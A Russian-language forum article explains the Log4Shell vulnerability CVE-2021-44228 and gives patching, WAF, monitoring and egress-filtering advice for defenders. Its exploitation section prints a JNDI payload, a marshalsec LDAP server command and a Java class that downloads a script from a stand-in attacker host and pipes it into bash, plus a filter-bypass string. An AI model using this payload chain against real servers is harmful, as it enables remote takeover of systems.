• 🚨 29 мая стартует курс «Пентест Active Directory: от теории к практике» от Академии Кодебай

    🔍 Изучите реальные техники атак на инфраструктуру Active Directory: от первоначального доступа до полной компрометации.
    🛠️ Освойте инструменты, такие как BloodHound, Mimikatz, CrackMapExec и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальные сценарии атак.
    🧠 Получите знания, которые помогут вам стать востребованным специалистом в области информационной безопасности.

    После старта курса запись открыта еще 10 дней Подробнее о курсе ...

  • Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

Статья Log4j: как работает уязвимость CVE-2021-44228 и как от нее защититься

1748550345660.webp

"Одна строка кода — и ваш сервер под контролем злоумышленника. Уязвимость в Log4j потрясла мир кибербезопасности, но как она работает на самом деле? Разбираемся в деталях и учимся защищаться."

Введение

В декабре 2021 года мир узнал о критической уязвимости в библиотеке Log4j (CVE-2021-44228), получившей название Log4Shell. Эта RCE-уязвимость (Remote Code Execution) позволяла злоумышленникам выполнять произвольный код на атакуемом сервере через простой текстовый запрос.

Почему это важно?
  • Log4j используется в тысячах приложений, включая enterprise-решения (например, VMware, Elasticsearch, Minecraft).
  • Эксплуатация уязвимости тривиальна — достаточно отправить вредоносную строку в лог.
  • Последствия: полный контроль над сервером, утечка данных, криптоджекинг.
В этой статье разберем:
  1. Как работает уязвимость — технические детали.
  2. Пример эксплуатации — демонстрация атаки.
  3. Методы защиты — патчи, WAF-правила, мониторинг и другие важные аспекты.

1. Механизм уязвимости: JNDI-инъекция

Уязвимость возникает из-за функции Lookup в Log4j, которая интерпретирует строки вида ${jndi:ldap://attacker.com/exploit}. Log4j поддерживает различные протоколы для JNDI Lookups, включая LDAP (наиболее часто используемый для эксплуатации RCE), RMI, а также DNS (который может использоваться для эксфильтрации данных).

Как это работает?
  1. Приложение логирует строку, содержащую ${jndi:...}
  2. Log4j выполняет JNDI-запрос к указанному серверу (например, LDAP или RMI).
  3. Вредоносный JNDI-сервер возвращает ссылку на объект, например, на удаленный Java-класс или сериализованный объект с гаджетом.
  4. Загрузка и исполнение:
    • В классическом сценарии (особенно с более старыми версиями Java или при небезопасных настройках JVM, таких как trustURLCodebase=true), Java-машина жертвы загружает и исполняет вредоносный класс с удаленного сервера.
    • В современных версиях JDK загрузка произвольных классов с удаленных codebases через JNDI/LDAP по умолчанию сильно ограничена. Однако атака может быть все еще возможна путем возвращения сериализованного объекта, который эксплуатирует уже существующие в classpath жертвы классы-гаджеты (gadget chains) для выполнения кода (JNDI Injection + Deserialization).

Пример уязвимого кода:

Java:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableApp {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        // Злоумышленник может передать строку через HTTP-заголовок, параметр и т.д.
        logger.error("${jndi:ldap://attacker.com/exploit}");
    }
}

2. Практическая эксплуатация: шаг за шагом

Шаг 1. Развертываем LDAP-сервер (например, с помощью marshalsec):
Bash:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#ExploitClass"

Шаг 2. Готовим вредоносный класс:
Java:
public class ExploitClass {
    static {
        try {
            Runtime.getRuntime().exec("curl http://attacker.com/shell.sh | bash");
        } catch (Exception e) {}
    }
}

Шаг 3. Отправляем запрос к уязвимому серверу:
HTTP:
GET / HTTP/1.1
User-Agent: ${jndi:ldap://attacker.com/ExploitClass}
Результат: RCE на сервере (при выполнении условий для загрузки класса или использования гаджетов).

3. Защита и рекомендации

  1. Обновление Log4jдо версий:
    • 2.17.1 (для Java 8+)
    • 2.12.4 (для Java 7)
    Это наиболее важный и надежный способ защиты, так как эти версии содержат исправления для CVE-2021-44228 и ряда последующих связанных уязвимостей.
  2. Отключение или ограничение JNDI Lookups (если обновление невозможно):
    • Для версий Log4j от 2.10.0 до 2.14.1 включительно, можно использовать системное свойство -Dlog4j2.formatMsgNoLookups=true при запуске JVM. Это временная мера, которая отключает обработку Lookups в сообщениях, но не является полноценной заменой обновлению и может не покрывать все векторы.
    • Для версий Log4j старше 2.10.0 (или как дополнительная мера для 2.10.0-2.16.0, если предыдущий флаг не может быть применен или есть сомнения в его эффективности), рекомендуется удаление класса JndiLookup.class из файла log4j-core.jar: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
    • Начиная с версии 2.16.0, JNDI Lookups отключены по умолчанию.
  3. WAF-правило для блокировки
    Код:
    ${jndi:}
    :
    NGINX:
    location / {
        if ($http_user_agent ~* "\$\{jndi\:") {
            return 403;
        }
    }
    Важно: Приведенное WAF-правило является крайне упрощенным примером и проверяет только заголовок
    Код:
    User-Agent
    . Оно легко обходится с помощью различных техник обфускации JNDI-строк (например, использование вложенных переменных
    Код:
    ${${lower:j}ndi:...}
    , различных кодировок и т.д.) и передачи пейлоада через другие части HTTP-запроса. Для реальной защиты необходимы более комплексные и регулярно обновляемые правила WAF, способные детектировать широкий спектр обфусцированных атак и покрывающие все потенциальные входные векторы (заголовки, тело запроса, параметры URL). Не полагайтесь только на простые строковые совпадения.
  4. Мониторинг логов на подозрительные строки:
    Bash:
    grep -r '\${jndi:' /var/log/
    Как и в случае с WAF, простой grep по строке \${jndi:} является лишь базовой проверкой и может быть обойден обфускацией. Для эффективного мониторинга рекомендуется использовать централизованные системы сбора и анализа логов (SIEM), настроить правила корреляции событий, отслеживать аномальное поведение и известные индикаторы компрометации (IOCs).
  5. Контроль исходящего трафика (Egress Filtering):
    Настройте сетевые экраны и другие средства контроля для блокировки исходящих соединений с ваших серверов на неизвестные или подозрительные LDAP, RMI, DNS или HTTP(S) серверы в интернете. Это может предотвратить загрузку вредоносного класса или обратный вызов от эксплойта.
  6. Обновление Java Runtime Environment (JRE/JDK):
    Используйте последние стабильные версии Java. Обновления JRE/JDK часто включают улучшения безопасности, которые могут затруднить или предотвратить эксплуатацию некоторых типов уязвимостей.
  7. Принцип наименьших привилегий:
    Убедитесь, что ваше приложение и сервер Log4j работают с минимально необходимыми правами доступа. Это не предотвратит саму уязвимость, но может существенно ограничить ущерб в случае успешной эксплуатации.
  8. Использование Runtime Application Self-Protection (RASP):
    Рассмотрите возможность использования RASP-решений, которые интегрируются в приложение и могут обнаруживать и блокировать атаки, включая попытки эксплуатации Log4Shell, в режиме реального времени на уровне самого приложения.
  9. Управление зависимостями и Software Composition Analysis (SCA):
    Регулярно проводите аудит всех зависимостей вашего проекта, а не только Log4j. Используйте инструменты SCA для выявления компонентов с известными уязвимостями и своевременного их обновления.

Заключение

Log4Shell — одна из самых опасных уязвимостей последних лет, но ее можно нейтрализовать. Главное:
  • ✅ Обновляйте зависимости (Log4j, JRE/JDK и другие компоненты).
  • ✅ Настройте многоуровневую защиту: WAF, Egress Filtering, RASP.
  • ✅ Внедрите комплексный мониторинг и анализ событий безопасности.
  • ✅ Обучите команду (разработчиков, QA, эксплуатации) выявлять, реагировать на подобные угрозы и применять принципы безопасной разработки.

FAQ

Q1. Как проверить, есть ли уязвимость в моем приложении?
A:
Используйте сканеры уязвимостей, такие как log4j-scan или шаблоны для Nuclei. Проводите регулярный анализ зависимостей.

Q2. Что делать, если немедленное обновление Log4j невозможно?
A:
Примените временные меры, описанные в разделе "Защита и рекомендации" (например, отключение JNDI Lookups специфичным для вашей версии способом, удаление класса JndiLookup.class), но рассматривайте их именно как временное решение до полноценного обновления. В крайнем случае, рассмотрите замену Log4j на альтернативные фреймворки логирования (например, Logback совместно с SLF4J), если это целесообразно для вашего проекта.

Q3. Как атакуют через Log4j в реальных условиях?
A:
Через любые входные данные, которые могут быть залогированы приложением: HTTP-заголовки (User-Agent, Referer, X-Forwarded-For и т.д.), параметры URL, данные POST-запросов (включая JSON, XML), данные из форм, имена пользователей, сообщения в чатах, метаданные облачных сервисов и многое другое.
Изучение уязвимостей, подобных Log4Shell, закладывает основу для понимания безопасности веб-приложений. Если вы стремитесь развить эти знания и освоить методики профессионального тестирования на проникновение, то углубленное обучение веб-пентесту может стать вашим следующим шагом.
Log4j: ваш ТОП-1 лайфхак по защите, который РЕАЛЬНО работает? 🔥 Делитесь опытом в комментах – ваши знания нужны всем!
 
Последнее редактирование:
  • Нравится
Реакции: Trager
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD